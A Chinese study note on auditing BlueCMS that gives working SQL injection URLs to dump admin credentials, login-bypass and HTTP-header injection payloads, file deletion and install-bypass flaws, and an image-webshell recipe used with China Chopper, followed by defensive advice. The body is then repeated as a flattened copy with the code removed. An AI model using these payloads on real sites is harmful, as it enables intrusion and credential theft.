BlueCMS审计学习笔记
字数 1307 2025-08-18 11:38:53

BlueCMS代码审计与漏洞利用全面教学文档

一、BlueCMS审计基础

1. 审计方法论

  • 功能点审计法:重点关注评论、注册、登录、头像上传、数据库备份等关键功能
  • 输入点追踪:从所有用户输入点(GET/POST/COOKIE/SERVER变量)入手
  • 危险函数搜索:全局搜索SQL执行、文件操作、系统命令等危险函数

2. 项目结构分析

/admin          # 后台管理目录
/include        # 核心配置文件目录
  |- common.inc.php  # 全局过滤配置文件
  |- ...
/install        # 安装程序目录
/user.php       # 用户功能主文件
/comment.php    # 评论功能文件
/article.php    # 文章功能文件

二、配置文件审计

1. 统一过滤机制分析

  • common.inc.php中的过滤规则:
    • $_GET$_POST$_COOKIE进行addslashes转义
    • 关键缺陷:未过滤$_SERVER变量,导致HTTP头注入风险
    • 过滤仅在变量被单引号包裹时有效,双引号中的变量可绕过

2. 绕过魔术引号的方法

  • 使用十六进制编码:0x61646d696e
  • 宽字节注入:使用%df'等字符
  • 利用未过滤的输入点:如X-Forwarded-For

三、SQL注入漏洞

1. ad_js.php注入

  • 漏洞代码
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
  • 利用步骤
    1. 爆表名:
    ad_js.php?ad_id=1+UNION+SELECT+1,2,3,4,5,6,GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()
    
    1. 爆字段:
    ad_js.php?ad_id=1+UNION+SELECT+1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e
    
    1. 获取管理员凭据:
    ad_js.php?ad_id=1+UNION+SELECT+1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin
    

2. 用户注册注入

  • payload构造
%df',1,1),(100,0x6162717765,md5(123456),(select database()),1,1)#
  • 原理:利用insert语句的多值插入特性注入子查询

3. 登录绕过

  • 万能密码
%df') or 1=1#

4. 评论系统注入

  • 利用CLIENT-IP/X-Forwarded-For头
POST /comment.php?act=send HTTP/1.1
CLIENT-IP: 1','2'1','0','1','0',(select concat(admin_name,":",pwd) from blue_admin),'1','1

四、文件操作漏洞

1. 文件包含漏洞

  • user.php中act=pay参数
    • 可结合图片马上传实现代码执行
    • 利用@unlink(BLUE_ROOT.$_POST['face_pic3'])删除任意文件

2. 安装系统漏洞

  • install.lock绕过
    • is_writeable()检查逻辑缺陷
    • 可重复安装覆盖现有配置

3. 数据库备份泄露

  • 备份文件预测
    • 默认路径:/data/backup/YYYYMMDD.sql
    • 可通过日期枚举获取敏感数据

五、XSS漏洞

1. 存储型XSS

  • 注册/登录处
    • 未对<, >等符号过滤
    • 通过email等较长字段注入

2. 文章发布处

  • 绕过filter_data函数
// 过滤规则:仅过滤<后紧跟字符的情况(无空格)
$descript = mb_substr($_POST['descript'], 0, 90);
  • payload示例

六、文件上传漏洞

1. 图片马上传

  • 利用流程
    1. 制作图片马:
    copy 1.jpg/b + 1.php/a shell.jpg
    
    1. 上传至头像等位置
    2. 结合文件包含执行

2. 中国菜刀连接

  • 使用图片马中的PHP后门连接管理

七、防御建议

  1. 输入过滤

    • 对所有输入变量统一过滤
    • 补充$_SERVER变量过滤
    • 使用预处理语句替代拼接SQL
  2. 安全配置

    • 安装后删除install目录
    • 修改默认备份路径和命名规则
    • 设置文件上传目录不可执行
  3. 函数替换

    • htmlentities替代htmlspecialchars
    • intval处理所有数字型输入

八、审计工具链

  1. 静态分析

    • RIPS
    • PHPStan
    • SonarQube
  2. 动态测试

    • Burp Suite
    • SQLMap
    • XSS Hunter
  3. 辅助工具

    • Seay源代码审计系统
    • 中国菜刀/蚁剑

九、参考资源

  1. UpdateXML/ExtractValue报错注入
  2. Intval函数特性分析
  3. 图片马上传技术
  4. 中国菜刀使用指南
BlueCMS代码审计与漏洞利用全面教学文档 一、BlueCMS审计基础 1. 审计方法论 功能点审计法 :重点关注评论、注册、登录、头像上传、数据库备份等关键功能 输入点追踪 :从所有用户输入点(GET/POST/COOKIE/SERVER变量)入手 危险函数搜索 :全局搜索SQL执行、文件操作、系统命令等危险函数 2. 项目结构分析 二、配置文件审计 1. 统一过滤机制分析 common.inc.php 中的过滤规则: 对 $_GET 、 $_POST 、 $_COOKIE 进行 addslashes 转义 关键缺陷 :未过滤 $_SERVER 变量,导致HTTP头注入风险 过滤仅在变量被单引号包裹时有效,双引号中的变量可绕过 2. 绕过魔术引号的方法 使用十六进制编码: 0x61646d696e 宽字节注入:使用 %df' 等字符 利用未过滤的输入点:如 X-Forwarded-For 头 三、SQL注入漏洞 1. ad_ js.php注入 漏洞代码 : 利用步骤 : 爆表名: 爆字段: 获取管理员凭据: 2. 用户注册注入 payload构造 : 原理 :利用insert语句的多值插入特性注入子查询 3. 登录绕过 万能密码 : 4. 评论系统注入 利用CLIENT-IP/X-Forwarded-For头 : 四、文件操作漏洞 1. 文件包含漏洞 user.php中act=pay参数 : 可结合图片马上传实现代码执行 利用 @unlink(BLUE_ROOT.$_POST['face_pic3']) 删除任意文件 2. 安装系统漏洞 install.lock绕过 : is_writeable() 检查逻辑缺陷 可重复安装覆盖现有配置 3. 数据库备份泄露 备份文件预测 : 默认路径: /data/backup/YYYYMMDD.sql 可通过日期枚举获取敏感数据 五、XSS漏洞 1. 存储型XSS 注册/登录处 : 未对 < , > 等符号过滤 通过email等较长字段注入 2. 文章发布处 绕过filter_ data函数 : payload示例 : 六、文件上传漏洞 1. 图片马上传 利用流程 : 制作图片马: 上传至头像等位置 结合文件包含执行 2. 中国菜刀连接 使用图片马中的PHP后门连接管理 七、防御建议 输入过滤 : 对所有输入变量统一过滤 补充 $_SERVER 变量过滤 使用预处理语句替代拼接SQL 安全配置 : 安装后删除install目录 修改默认备份路径和命名规则 设置文件上传目录不可执行 函数替换 : 用 htmlentities 替代 htmlspecialchars 用 intval 处理所有数字型输入 八、审计工具链 静态分析 : RIPS PHPStan SonarQube 动态测试 : Burp Suite SQLMap XSS Hunter 辅助工具 : Seay源代码审计系统 中国菜刀/蚁剑 九、参考资源 UpdateXML/ExtractValue报错注入 Intval函数特性分析 图片马上传技术 中国菜刀使用指南